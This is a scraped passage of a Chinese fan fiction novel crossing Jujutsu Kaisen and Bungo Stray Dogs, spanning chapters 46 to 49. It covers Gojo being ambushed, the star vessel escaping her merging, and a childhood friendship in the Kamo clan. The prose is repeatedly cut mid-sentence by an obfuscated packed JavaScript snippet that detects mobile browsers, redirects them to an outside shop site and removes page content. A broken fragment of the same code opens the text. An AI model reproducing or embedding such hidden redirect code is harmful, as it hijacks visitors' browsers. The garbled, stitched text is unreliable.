0=7.0.6();b(/a|9|1|2|5|4|3|c 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伏黑隐思量了一下天元同化失败后要处理的事情,“下周再去吧,接下来一段时间估计会很忙。” 步入高专结界,他们便兵分两路了,七海和灰原得先去找黑冢老师,伏黑隐因为需要目送星浆体同化,要和二年级一同去往薨星宫。 “小隐,你的头发现在还不会变色吗?”同行的路上,五条悟冷不丁问。 走在天内理子旁边的伏黑隐表情有些心不在焉。 “不会啦,除非现在就去染色。” “但小隐的弟弟头发是黑色,好奇怪。” “是因为术式的原因吧,他们都是普通人,所以才显得我不一样。”伏黑隐小声吐槽了一句,“我也想要黑头发啊。” 双面鬼没死之前就是褪色的。 得到回答,五条悟也没说信不信,丝滑地切入了下一个话题。 一直到临近薨星宫的入口,马上要见证一道灵魂的逝去,一路上都在说话的五条悟才安静下来。 “小隐杀过人吗?” 他突然又问了一个匪夷所思的问题。 顾及着天内理子,伏黑隐没有选择正面回答,“我之前是诅咒师啊,前辈。” 看着瞬间出现在五条悟身后的长发青年,白发少年不明显地弯了弯唇角,随后发出一声惊呼,吸引了另外几人的注意。 ——而诅咒师哪有不杀人的。 46.第 46 章 刀刃割破空气,轻而易举地穿透无下限,用力刺向五条悟的腹部。 因伏黑隐的那一声提醒,五条悟躲避的及时,但还是不可避免受了伤。 剧烈的疼痛让本就昏烫的大脑迸发出被撕裂的痛感,穿着干练和服的青年抽出武器,横刀一拍,轻而易举将袭向自己的咒灵撕裂。 “你……” 苍蓝色瞳孔随着少年头颅转动,盯向身后看不到面容的高挑青年,他身上毫无咒力,气息也尽数被主人隐蔽,于是六眼也“看不见”他。 但异常的,强行忽略了那道疼痛的五条悟勉强扭过头,从青年卷曲高束的长发到戴着手套紧握刀柄的手,整整齐齐仔仔细细打量了一遍。 “……有点眼熟啊。” 没有得到回应。 墨镜后的血红色眼睛一瞬不眨,偷袭没有成功的青年瞬息间又握刀攻向了他。 巨大力道在空中刺出音爆声,无下限失效的五条悟不防反攻,以胸口重伤的代价将青年与他的距离拉远。 “五条前辈!” “悟!” “老子没事!” 面对挚友和伏黑隐的关心,五条悟按了按胸口处见骨的伤,扬起笑示意自己没有大碍。 “你们先去薨星宫。” 在与那双血红色瞳孔对视时,伏黑隐偷偷治好了五条悟伤口,血液大量从中流窜,很好地掩盖住了愈合的疤痕。 他最后用担心的视线看了一眼五条悟,后者还给他一道明媚的笑。 伏黑隐愣了愣,随即反应过来这是在让自己放心。 “一切小心,五条前辈。” …… ……… 『武者—伏黑白』 阵营:拯救者 ——保持怀疑,谨慎信任,选择正确的武者无人能敌。 以顶尖的防御与武力保护应该保护的身份,在游戏里,他的技能为『生死刃』: 每晚可以标记一名玩家,强行与对方交换身份,60%可能获得错误身份,自己选择是否相信。 选择相信,对方会安全度过这一天(所有针对此玩家的攻击无效),选择不相信,则对方死亡。 而错误的判断会带来法官威严的审判——错误杀死两个白方阵营后,武者将受到枪决。 剧情结束,十三个玩家中武力值最高者会得到这个身份。 在这个世界,『武者』的技能更改为: 『天与咒缚:神骸』 以情感,记忆,欲望,咒力,一切可舍弃东西为代价,得到自由操控年龄与支配力量的权利。 比肩神明的躯体收取了他与生俱来的思考能力,他很少有清醒的时候。 …… 刀刃无情穿透胸脯,将五条悟死死钉在地面。 自出生起第一次如此狼狈的少年被迫仰面,后脑勺重重磕在石板地面,力竭到连大口呼吸都难以做到。 他或许真的对自己的生与死格外通透,在感受生机慢慢流逝的同时,还强撑着想要与人搭话。 “老子真的觉得你很眼熟啊。” 自始至终不发一语,也没让口罩掉落的青年垂眸,举起手中能够穿透无下限的咒具,像是没有听到五条悟的话。 “真的不能让老子看看你长什么样子吗?说不定呃——” 用天逆鉾贯穿五条悟的太阳穴后,伏黑白甩了甩刃上血液,又掰开五条悟掌心,把自己的头发拿回来。 伏黑白没有丝毫恋战的想法,将与自己有关的痕迹全部清除后,就回收了角色卡。 他可不想硬挨一发【茈】。 …… 蜿蜒的薨星宫廊道里,或许是刚才意料之外的偷袭,又或许是抵达了天元的领地,沉默开始像一张正在编织的网,慢慢笼罩着前行的三人。 最终,是夏油杰打破了这片越来越悲凉的寂静。 “理子如果不想同化的话,我们可以帮你。” 他的声音不高,清晰地落到了天内理子愈跳愈猛的心脏上。 天内理子的脚步停住。 她抬起头,眼中是来不及掩饰的惊愕。 伏黑隐在此刻上前半步,与夏油杰形成一种无声的默契与支撑,他早在之前就和两位前辈互通了情报与想法,并达成了一致。 于是在前辈说完之后,伏黑隐同样开口道:“天内小姐应该也知道吧,同化就代表着意识的消亡。” 他话语一顿,目光落在少女微微颤抖的指尖上。 “您还有放不下的人,对吗?黑井小姐,还有学校里的朋友……这个世界还有您所眷恋,舍不得分别的东西。” 人总该是有私欲的。 伏黑隐的这番话像是一把钥匙,轻易撬开了天内理子苦苦维持的硬壳,又像是一颗禁果,引诱着世人走向他所选择的选择。 天内理子一直告诉自己,这是荣耀,是使命。 可当“不想死”这个选项真的被捧到面前时,所有的伪装都在瞬间土崩瓦解。 天内理子垂下头。 泪水无声地滚落,砸在古老的地砖上。 就如伏黑隐所说那样,有所眷恋之人是不可能做到无怨无悔去送死的。 “……嗯。” 一声带着哭腔的、细微的鼻音。 她用力攥紧了裙摆,指节发白。 “我……很害怕。” 终于,天内理子将深埋心底的恐惧诉诸于口。 她哽咽着轻声说道:“我其实……真的非常害怕消失……” “说为了天元大人……那是骗人的,我不想消失……我想回家,想和黑井,想和大家一起……我、我想活下去啊!” “我还想和大家待的再久一些!” 她想活得再久一些。 “那理子要离开这里吗?” 夏油杰伸出手,掌心向上,他的语气温和而强大,带着足以铲平一切的自信与笃定。 “离开这里吧,有我们在,理子只需要往前跑就足够了。” 天内理子深吸一口气,仿佛用尽了全身的力气,将自己的手稳稳地放了上去。 ——握住了。 指尖湿凉的触感被夏油杰掌心的温度驱散。 她知道自己最差的结果也只是死亡,于是毅然决然做出了这个称不上赌博的决定。 我可以逃离这里,我可以拥有自由,拥有只属于我的生命——天内理子的脑海里有个声音如此说。 失败也只是死亡。 而她早在获得星浆体这个身份之后,便一直在理解着,等待着,接受着死亡,天内理子早已可以接受自己的消亡,但如果有另一个可能。 如果有这个可能, 她绝对会义无反顾选择这个可能,这个可能值得自己赌上一切。 薨星宫的过道蜿蜒盘旋,要绕上好长一圈才回到来时的入口,夏油杰走在最前面,和伏黑隐一前一后将想要活下去的少女护在中间。 “不知道五条前辈那边怎么样了。”临近出口,伏黑隐适时开口道,“感觉那个人很厉害的样子。” “悟估计在往这边赶了。” 夏油杰根本没想过五条悟被打败这种可能。 他们在接到这个任务之后,就有提过不让天内理子和天元同化的事情。 早已消亡的身体就该顺其自然地消亡。 而非剥夺一个尚未彻底绽放的生命,得以五百年的苟延残喘,至少他们不会允许。 觉得不管什么后果都能够轻松承担的两个人早早就做了准备。 “五条家的车估计已经到了山脚下,这段时间理子要先躲一躲总监会,等到同化失败的风波过去,理子……” “轰!!!” 一声巨响从头顶传来,整个薨星宫仿佛都为之一震,碎石与尘埃簌簌落下。 紧接着,一道熟悉又疯狂的笑声响彻云霄。 三人循着声音抬头,透过被破坏的宫顶,果然看见了熟悉的白发身影悬浮在苍穹之下。 浮在空中的少年完全沐浴在夕阳之中,闪烁着前所未有的灿金色光芒,半边染血的霜白发丝也镀上神祇莅临般的光辉。 像是就此获得神格,登上神梯,再最后回看一眼人间的新神。 本就有些中二属性在身上的天内理子:“好、好王道的动作!” 注意力在前辈表情上的伏黑隐欲言又止。 “五条前辈看起来,好像更……” 更疯了。 [这真的不是主角吗……] 拥有上帝视角的搭档看得更加全面,他从五条悟被天逆鉾贯穿太阳穴开始,就一直观察着他。 从近乎死亡到领悟反转术式将伤口一点点治好,最后摇摇晃晃地,满眼兴奋地站了起来,人物面板上的各项数值都在暴涨——五条悟的情绪一栏,已经半只脚跨过疯狂的临界线了。 他将监控画面传输进神隐脑子里,又忍不住嘀咕:[不会因为这一次太兴奋,把自己兴奋疯了,然后成为咒术界的大反派了吧?] 他们只看到了夏油杰叛逃的剧情线,关于五条悟的,剧情线时间跨越太远,不管是搭档还是神隐,都决定等剧情开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724691|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始一年前再看。 但这一次搭档忍不了了。 他实在好奇,告知了神隐一声,开启指定记忆共享翻剧情去了。 [最强啊。] 神隐感叹。 幸好自己跑得快。 不过这样的话,后面的角色卡也能往上提一提战力了。 “悟居然……” 夏油杰的表情看起来比伏黑隐和天内理子还要震惊,他喃喃道:“这是我第一次听到悟把自称改了说话。” 大家关注的点完全不一样。 就连五条悟也是。 半张脸都被血液覆盖的少年眨眼间出现在几人身前,他放空的表情仍停留着一丝疯狂。 “你们没事?” 五条悟开口,吐出的字句轻飘飘的,像浮在高空中的流云,碰不到,追不上。 “那个卷毛呢,没有来找你们?” “谁?”夏油杰没连上挚友的脑回路,“我们没遇到其他人。”但他很快想起来之前的插曲,“是刚才那个家伙啊,悟没有拦下他吗?” 金黄色的暮光洒向地面,将霜白发丝镀上璀璨华光,五条悟用兴奋到怪异的语气回复道:“他杀了我一次。” 第一次如此惨烈的,毫无胜算可言的失败。 “悟……” 夏油杰感觉自己的挚友此时有一些不对劲,“你还好吗?” “我很好。” 五条悟说:“从未有过的好。” 发现几个人都没事,他如今满眼都是那个在武力上给予自己重创的家伙。 “我不可能再输了。” 充沛无上限的咒力包围着少年浮在空中,他落下这句话后,便满东京去找伏黑白去了。 看着空中逐渐缩小的潇洒背影,伏黑隐沉思了一会儿,“但是五条前辈知道那个人的长相吗?” “悟不是有六眼吗,应该能找到吧。” 事实证明真的找不到。 连续三天任务不接、学校不回,连东京所有下水道都找过了,仍旧一无所获的五条悟垂着课桌,“不行!老子一定要找到那个卷毛!” 他,居然,会在一个人身上,受挫两次!!! 这把刚领悟反转术式的最强刺激得都不飘了,连带着家族的力量都用上了。 “给老子查个人。” 五条悟大咧咧地跨坐在课桌上,“长卷发,到屁股的位置吧,身高一米八左右,身材和老子差不多,名字?不知道,样子?眼睛很红,其他老子不知道。” “术式?那家伙没咒力,但老子感觉很眼熟,你从老子见过的人里查……什么不可能,你质疑老子?” 这完全是在为难人吧? 恰好走进教室听到对话的七海建人默默想。 “娜娜明怎么不进去?” 走在后面的灰原雄打着哈欠,他昨天追了一晚上的新番,算算时间只睡了四个小时。 打完哈欠一睁眼,灰原雄就看到了大爷一样坐在伏黑隐位置上的五条悟。 “五条前辈是要找小隐吗?” 还在对着电话详细描述神秘卷发男战斗方式的五条悟点头,“对,隐让老子在这里等他。” 灰原雄有些奇怪:“小隐不是被关在监禁室吗?” 星浆体跑了。 这是高专的重大失误,但由于五条家的施压,最后对于高专众人的处罚雷声大雨点小,除了伏黑隐。 毕竟和诅咒师混了两年,有点特殊关照很正常。 伏黑隐得到的处罚倒也不严重,只罚了七天的紧闭,不痛不痒——他甚至还有手机玩。 “那里关不住小隐啦。” 五条悟随口说道,下一秒又拍了下桌子,“老子不管,你们必须帮老子把那个人找出来!” “五条前辈还在找他啊……” 灰原雄身后突然响起少年困倦的声音,接着,一只手臂有气无力地横在他肩上。 “大雄,七海,早上好。” 灰原雄惊喜回头。 “小隐!你提前出来了?” “偷偷溜出来的啦。” 戴了只粉红色小狗发卡的伏黑隐一手揽着灰原雄,一手推着七海建人往里走,“待会儿还要回去的。” 今天黑冢墨请了假,早上的课是夜蛾正道代课,于是等五条悟和伏黑隐从教室出来,正好撞上了掐点来上课的夜蛾正道。 夜蛾正道:“……” 他看了看失联了三天的五条悟,又看了看本该待在地下监禁室的伏黑隐。 最后狠狠闭上了眼。 47.第 47 章 五条悟这次找伏黑隐还真有正事。 不过也算不上多重要,只是借用一下术式。 二年级的三个人整整齐齐地逃了课。 如今只有五条悟三个人知道伏黑隐的术式——虽然直到现在他都没理解,自己到底是怎么暴露的。 但好在他们没有选择透露出去。 伏黑隐便也愿意信任几人。 …… ——『操界术』 通过干涉目标的五官感知,操控其「所见」与「所以为见」的现实。 可以根据想象编造,也可以强行将记忆具现出来。 …… 少年掌心抬起,食指与中指伸直并拢,拇指轻轻搭在无名指的指根,无名指与小指保持自然弯曲。 “术式顺转-现。” 一道修长的影子从伏黑隐的记忆中被拽出来,立于几人中间。 经过改造便于战斗的和服,长卷发,口罩墨镜,还有墨镜后隐约能看见的血红眼睛,正是三天前打败五条悟的人。 五条悟凑近观察和服上的绣纹,没看出来是哪个家族的家纹。 “像是烂橘子培养的小橘子。” 他拍了张照让五条家去查。 “头发保养的不错啊。”家入硝子摸了摸青年捆起的卷发,很顺滑。 “眼睛……是看不见吗?” 从记忆中提取出来的幻像可以触碰,但不能改变原有构造,墨镜摘不下来,夏油杰只能从墨镜外看向里面的眼睛。 以他的视角看过去,这双血红色的眼睛有些空洞。 “他揍老子的时候绝对看得见。” 五条悟否定了这个想法。 偶尔看小说的家入硝子想了想,“那是某家族培养的死士?” “哪个家族会培养无咒力的杀手?” “老子想想……” 五条悟想了很久,也没想出来有哪个家族会这样做,不提他记不记得住御三家之外的小家族,咒术界对普通人的轻视也是一道跨不过去的坎。 非术师者非人。 就像是禅院家的反向天与咒缚,没有哪个人会把出生在咒术师家族的“普通人”视为人。 等等……天与咒缚。 自出生时便被强制赋予的束缚,通过牺牲身体机能或咒力基础,换取对位属性的极端强化。 常规的天与咒缚,是以肉.体条件换取强大咒力,而反向天与咒缚,就是用全部咒力交换一具强大的肉.体。 想到几年前将禅院家重创叛逃的天与咒缚,五条悟灵光一闪,“这个家伙是天与咒缚!” 夏油杰惊讶:“天与咒缚那么厉害吗……” “老子也是第一次遇到。” 发现了天与咒缚这一个特征,五条悟又开始兴奋起来,他现在有一种预感——“老子马上就要找到他了。” 如今咒术界只有三个天与咒缚。 其中一个先天缺失右手及膝下肢体,可以直接排除。 而另外两个都是禅院家的人。 一个目前五岁。 一个还在叛逃中。 五条悟又突然想起禅院家那个跟屁虫,他在此前似乎还有一个追随崇敬的人。 而那个人,好像就是把禅院家所有高级术师杀死,并洗劫了禅院家大半个忌库的反向天与咒缚。 飞速运转的大脑不自觉地联想到了一个月前,那个将已经是二级咒术师禅院直哉一脚踢飞的男人。 “小隐!” 虽然印象中他们身材好像不匹配…… 秉持着宁可错杀不可放过的准则,五条悟又让伏黑隐将他的恋人具现出来。 “我有照片,不用那么麻烦啦。” 觉得这是自己隐私的伏黑隐拒绝了五条悟的提议,他取出手机,从相册里找出了自己和伏黑甚尔的合照。 照片上两个人并肩站立,均对着镜头露出了平和的微笑,背景是一大片幽蓝的海鱼。 这是之前去水族馆的时候,津美纪帮忙拍的照片,她是个很喜欢记录的孩子。 “他们绝对不是同一个人。” 确实。 不论是体型还是瞳色,又或是其他什么,都与面前这个幻象完全不同。 他们唯一相像的地方或许只有性别,还有发色。 夏油杰默默看着照片里男人被贴身短袖勾勒出来的胸肌。 五条悟仔细瞧着照片上男人的脸,最后将视线落到那双似曾相识的绿眼睛上,“这是从禅院家叛逃的那个天与咒缚。” “诶?原来他以前姓禅院呀。” 伏黑隐恍然大悟,“是因为不喜欢这个姓氏,所以才只告知了我名字啊。” “身材确实不错。” 家入硝子看看照片,又看看夏油杰,意味不明地说了一句:“这是天赋。” 夏油杰:“……其实努努力也是可以做到的。” 伏黑隐不明所以地歪了歪头。 只看了一眼照片就确定不是同一个人的五条悟对伏黑甚尔没了兴趣,他走到长发青年的幻象前,开始比身高。 “老子比他高三厘米。”他高兴地对着电话说。 这是一个没有被咒术界记录在册的天与咒缚。 “往诅咒师的方向查,那家伙是来刺杀老子的,和星浆体没关系。” 不然也解释不通为什么杀完他就跑了。 总不能是因为好玩吧? 五条悟看着面前的长发青年思索,“你去发布一个老子的悬赏,把赏金弄到最高。” “老子不信找不到他。” …… ……… 京都. 临近深夜,正被五条家疯狂搜寻的伏黑·一米八·诅咒师·天与咒缚·青年·白熟练地从窗户跳了出去。 距离八岁还有两个月的男孩穿着绵羊睡衣,面无表情从某个染着金头发的少年身边经过。 然后被揪住衣领提了起来。 他甩了甩腿,没挣脱,于是顺从地被人转了个圈,正面对上少年凌厉精致的眉眼。 “你这小鬼……” 禅院直哉提着人,拧眉仔细打量这张让他感觉熟悉的脸。 想来想去也没有从记忆里翻出个准确的人物来。 但莫名其妙地一看见这张脸,身体就出现了最近噩梦惊醒后常有的心悸,心跳七上八下地慌。 禅院直哉问:“你是哪个家族的小鬼?” “……” 伏黑白木楞回望。 看见深红色眼睛里的空洞,金发少年轻啧一声,“居然是个傻子。” 他其实记不清梦魇具体是何,但下意识用了还算和善的态度。 看在这张脸。 “去查他是哪个家族的。”禅院直哉吩咐完仆人,便打算堂而皇之提着人带回禅院家。 “等等——” 不远处响起一道惊慌失措的呼喊,很耳熟,伏黑白缓慢地移动了下眼珠。 快步跑过来的男孩同样穿着和服,看起来和禅院直哉身上的一样昂贵,他伸手拦住禅院直哉。 “他是加茂家的人。” “加茂?” 禅院直哉挑眉,他记得这个人,是前几个月出现的加茂家继承人。 同为家族继承人,虽并不熟悉且还是个小孩子,但禅院直哉的态度还算有礼。 至少比遇见对其他人时有礼很多。 “仆生子?” 他没松开伏黑白,反而提着衣领甩了甩,“一个没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741295|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有咒力的仆生子,留在加茂家也没什么用。” “不若送给我。” 作为自小便被以家主标准培养的继承人,应该也不会拒绝这样一个可以增加一点情分的要求。 “不行!” 但加茂宪纪拒绝了。 才成为嫡子不到半年的他自然学习不到多少东西,面对禅院家继承人被拒绝的不爽目光,加茂宪纪平复着呼吸,强压下心中生起的胆怯。 “他是,是我的仆人。” 第一句话说出来之后,后面的话语就顺畅了许多,加茂宪纪又补充道:“他是和我一起长大的仆人,所以不可以!” “哦。” 那估计就是那次宴会上见过一面。 不是什么特别的家伙。 禅院直哉兴致缺缺地将伏黑白丢下去,强行忽略了心中越来越强烈的不安感。 一个小屁孩,没什么可在意的地方。 “那还给你。” 见加茂家的继承人紧张地将那个普通人拉到身后去,禅院直哉不理解,“一个非术师而已。” 至于如此看重吗? “伏黑。” 等禅院直哉走远,加茂宪纪这才转过身,看向阔别好几个月未见的朋友,“下次见到刚才那样的人,要记得远离。” 始终不发一语的伏黑白看着他,点了点头。 见他点头,加茂宪纪明显地松了一口气,“太好了,你还记得我。” 孩童的友情来得迅速,去得也迅速。 他们的记忆来也匆匆去也匆匆,很少有能够长远地留存在心中的存在。 被加茂宪纪拉着走的伏黑白突然说:“我记得。” 是在回复十分钟前的那一句话。 加茂宪纪脚步卡了一下,随后笑起来,他如今的笑对比之前见面时,要更加的内敛。 “真是太好了。” 他再次这样说道。 加茂宪纪带着伏黑隐进了最近的商场。 他似乎想送给朋友一个礼物,但连着好几个店铺,伏黑白都没有什么特殊的反应。 最后,有些饥饿的加茂宪纪和伏黑白走进了快餐店。 等待食物上桌时,加茂宪纪问:“这段时间你都去了哪里?” 伏黑白坐在位置里侧,他的回答很慢。 ”去了,东京。” 顿了顿,又说:“去找哥哥。” “一直都在东京吗?” 伏黑白摇头,“哥哥在东京,上学。” 加茂宪纪握着水杯,感觉里面的水有些凉了,又垂眼换了一杯。 “所以这段时间你都在东京啊。” “嗯。” 恰好这个时候点的食物到了,加茂宪纪替伏黑白将汉堡的包装袋拆开。 其实还没傻到这个程度的伏黑白接过汉堡,“……谢谢。” 加茂宪纪又将吸管插进可乐递给伏黑白,又问:“你还会走吗?” 伏黑白咬着汉堡点头。 “还会回来吗?” 他疑惑地看了看加茂宪纪,把嘴里的食物咽下去后才回答:“不知道。” 最迟明年年底,他们就要到处去玩了,直到十年后才会回来,而这些都不是伏黑白应该知道的东西,于是他说不知道。 不知道。 不确定。 加茂宪纪听懂了。 他沉默了好长一段时间,等到伏黑白吃完汉堡,薯条也所剩无几的时候,才问道:“明天还能见到你吗?” 明天…… 伏黑白点头。 加茂宪纪又一次露出笑容,这次比前面几次都要灿烂。 “那明天见。” 他说:“明天我送你一个东西。” 48.第 48 章 具体是什么,加茂宪纪没有说,只笑着让他第二天来。 怀着对这份神秘礼物的期待,第二日黄昏刚落,伏黑白早早就背着家人来到了约定的地方。 然而直到夜色褪尽,晨光熹微,他也没有等到加茂宪纪。 人烟罕至的四层小楼,这里寂静得只剩下风声。 独自坐在楼顶边缘的男孩抬起头,望着破晓的晨昏线。 他们约定在这里见面。 凌乱的卷发无规则地往四方蔓延,沾染上清晨晶莹冰凉的朝露,在第一缕晨光落到身上时,伏黑白双手一撑,从楼顶跳到了地面。 水珠随着男孩的动作不断往下坠落,滴在地上,衣服里,顺着衣领滑进皮肤上,试图激起人体对寒凉的一点畏惧。 赶在津美纪起床之前,伏黑白悄无声息回到了自己的房间。 待到夜幕再次降临,他第三次来到小楼,空荡的屋顶依然只有月光作伴,还是没有见到加茂宪纪的伏黑白垂下眼帘,目标明确地朝着某个方向走去。 月光下的影子在行进中漫慢拉长、变得高大,无咒力的青年路入无人之境,轻而易举穿透加茂家的结界,将沿途巡逻的守卫一一打晕放倒。 伏黑白来到一处清雅幽静的宅院前。 他轻叩门扉,敲门的响动在寂静的夜中发出刺耳声响。 没有回应。 又耐心等了一会儿之后,门外的长卷发青年曲起指节,再度敲了敲门。 房屋里面这个时候才隐隐传来一道警觉的声音——“是谁?” “我是伏黑白的兄长。” 青年嗓音带有独特的音律感,像是月下钢琴奏响出的曲调,轻缓中藏着不属于人类的平静。 “你是咒术师?” “对。” “……” 又是一阵静默。 片刻时间,里面传来低低的一声呢喃。 “骗人。” 伏黑白有些蒙圈地眨眨眼。 虽然智商低,但『武者』的演技应该也,不至于被小孩识破吧? 或许是潜意识里觉得自己不可能找得到他? 于是伏黑白又说:“他等了你两天,在那栋破楼上,谁来劝都不肯走,说既然承诺要见到你,就一定要等到。” “……” 室内突然传来踉跄的脚步声。 障子门被猛地拉开一条缝隙,接着,一双布满割痕的手将一个木盒推了出来。 “我暂时出不去了,这是答应好给他的东西。”障子门后的声音轻微,带着不明显的哽咽,“请……请替我和他说声抱歉,我不是故意失约的。” [他的母亲为了不拖累他,在三个月前脱离了加茂家,这三个月里,加茂宪纪闹了一个月后无果,后面一直在找机会偷溜出去,想找伏黑白,两个月外出十九次,第二十次遇上了。] [结果两天前正好赶上禅院家家主举办宴会,作为继承人的加茂宪纪也必须过去,刚好遇到禅院直哉,所以前一天晚上对禅院直哉撒的谎就被拆穿了。] [加茂家主关了他禁闭,至于手上的伤,是练习赤血操术留下的,解除禁闭后就会有人过来治疗,不出意外的话,今年他都没机会再离开加茂家了。] 伏黑白拿起木盒,里面放了很多东西,沉甸甸的。 “他也有礼物想要送你。” 月色下,与他的朋友有着十成十相像的青年说道,从和服内袋里取出一朵花。 蓝白色的花瓣在月色下泛着荧荧微光,绮丽梦幻。 他将花朵塞进门缝里。 “他不会责怪你,所以不要伤心。” 所以那天说的礼物,是相逢礼。 也是分别礼。 落花赠君,予风肆意。 …… …… 伏黑白抱着那只木盒回到房间。 他将木盒在榻榻米上轻轻放下,揭开盒盖,最先映入眼帘的,是一副样式普通的眼镜。 [能看见咒灵的咒具,哇哦,他打算和你坦白咒术界的存在。] 这是触犯禁忌的事。 依照总监会的作风,或许会为此判处加茂宪纪死刑,但作为御三家的继承人,说不定可以网开一面。 “胆子倒是出乎意料的大啊。” 他指尖拂过镜架,随即将它架在了鼻梁上。 眼镜下是一个小巧的饰品盒,里面躺着一条三色手绳,标准的红黄绿三色。 伏黑白将它拿起,仔细端详片刻,系在了自己的左手腕上。 旁边是一个狭长的木盒,里面是一把匕首,一件三级咒具。 “这是打算邀请我加入咒术界吗?” 十分天真的做法。 [他知道你是天与咒缚?] 搭档奇怪地说了一嘴,调到加茂家的监控找到加茂宪纪,重新扫描。 [哦,他单纯觉得伏黑白不会生出恐惧的情绪,也肯定自己可以保护好你。] 前提是加入加茂家。 如果拒绝,到时候用咒术界特制的喷雾喷一下,就会忘记这件事了。 不过…… 还是有些莽撞啊。 要是伏黑白是个真正的普通人,这个决定可是会害死他的。 但他依然将匕首收了起来。 后面依次是护具,几本有关咒术界历史和咒术师发展,还有咒灵的书籍,伏黑白将它们悉数放进衣柜,与伏黑隐的旧物合放在一起。 最后,他的指尖触到了盒底——这是一本空白的日记本,封面是素净的牛皮纸,没有任何纹样。 伏黑白将它拿起,感受着纸张沉甸甸的份量,对它的去向产生了犹豫。 一个傻了快八年的人,突然会写字……这,合理吗? 这是要让他认真学习的意思? …… ……… 这是藤原千学被保护在异能特务课的第六十四天。 今天来陪他的是尾崎红叶。 一觉醒来,表情莫名不爽的藤原千学把饭碗推开,看向从来没有拒绝过自己要求的尾崎红叶。 “我要出去。” 尾崎红叶精致的面容上掠过一丝纠结,“但社长吩咐过……” 听话了两个多月的藤原千学表示——他不想听话了。 “我要出去!” 他重复道,声调微微拔高。 恰在此时,绫辻行人托着他的烟斗从对面屋子踱步而来,打开门时正好听到了这句任性的话语。 “不听话的小孩,”金发少年携着嘲讽的笑走过玄关,“会被监护人打屁股哦。” 多亏于这些日子的持续骚扰,绫辻行人知道了藤原千学的软肋在哪,并乐于加以利用,时时撩拨,几乎每次都能欣赏到藤原千学炸毛的样子。 就像现在这样。 绫辻行人抱着一只新购置的BJD人偶走过来,全然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750183|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无视那几乎要在他身上烧出两个窟窿的视线,气定神闲地坐在了藤原千学对面。 “好看吗?”他刻意曲解了对方目光的落脚点,举起手中这个穿着和服的栗发人偶,“她叫平井桃。” “丑死了。” 同样的,藤原千学也深知怎么才能让绫辻行人不如意,“关节松动,妆容廉价,还有这双眼睛——你从哪个垃圾堆里捡来的珠子?” 看着绫辻行人骤然沉下来的面色,藤原千学冷嗤一声。 “你所倚仗的那点脑子,就只恩赐了你这种程度的审美吗?” 一旁的尾崎红叶屏息凝神,安静地将手探入袖袋,摸出几根奶酪条,默默递到藤原千学手边。 藤原千学没再说话,也没再看他。 绫辻行人见此,发出一声短促的嘲笑,“只吃奶酪的怪人。” “迷恋死物的变态,离我远点。” 这几乎是每日都会重复的戏码。 等藤原千学吃完三根奶酪条,期间难得没有继续用言语挑衅他的绫辻行人低头,抚摸着人偶仿真的头发,忽然开口:“我手头有个案子,要一起去吗?” 听到“出去”这个关键词,藤原千学立刻抬起头:“哪里?” “福冈。” “……” “这样热的天气还坚持戴棉帽,果真是个怪人。” “倘若你不要像只向往旷野的犬科动物,执意要开窗享受狂风洗礼的话,我也可以把它摘下来。” “你的身体就那么脆弱?一点风都吹不得。” “或者异能特务课该好好想想把我关在这里之前,对我的监护人说过的话。” “嗤,告状精。” “呵,长舌犬。” “……” 安静。 有着七人座的汽车上,其余三人都屏着呼吸,不约而同保持着微妙的安静。 唯有萩原研二。 在这个应该把呼吸都放轻,假装自己不存在的氛围中,坐在副驾驶的他从容地换了一首抒情的车载音乐。 舒缓的旋律如水般流淌开来。 “要到了喔,大家。” 萩原研二的语气甚至比两位侦探还要悠闲,他似乎又把两位侦探的冷嘲热讽当成了朋友间的拌嘴。 “我们是先到酒店稍作休整,还是直接前往目的地呢?” “直接去。” “去酒店。” 两位意见相左的侦探再次扭头,横眉冷对。 “我需要睡眠。” “现在不是你应该懈怠的时候。” “我要睡觉。” “你应当清楚,某些关键证据晚上一秒就会被清理。” 藤原千学索性不再理会,转而向前座扬声:“萩原研二!我要睡觉!” 最终,在萩原研二的温言调和与尾崎红叶的轻声劝慰下,藤原侦探征用了一整排后座作为他的临时床铺。 移座至副驾驶的绫辻行人交叠双腿,淡声道:“他迟早会因为你们的纵容而再次犯罪。” “不会。” 尾崎红叶立即否定:“藤原侦探绝对不会。” 闻言,少年那双锐利的金色眼眸微微抬起,透过后视镜与尾崎红叶对视一眼,复又看向蜷在后面,用斗篷当被子熟睡的藤原千学。 “或许。”绫辻行人收回视线,望向窗外飞逝的景色,“但愿你的这份信任,能对他有点作用。” 49.第 49 章 连续半个月的毒阳晒得田地都龟裂了。 山村里有些老人会特意选择在天还没有完全亮的时候就出门,那个时候不算太热,而等到忙完的时候,差不多就是吃午饭的时候了。 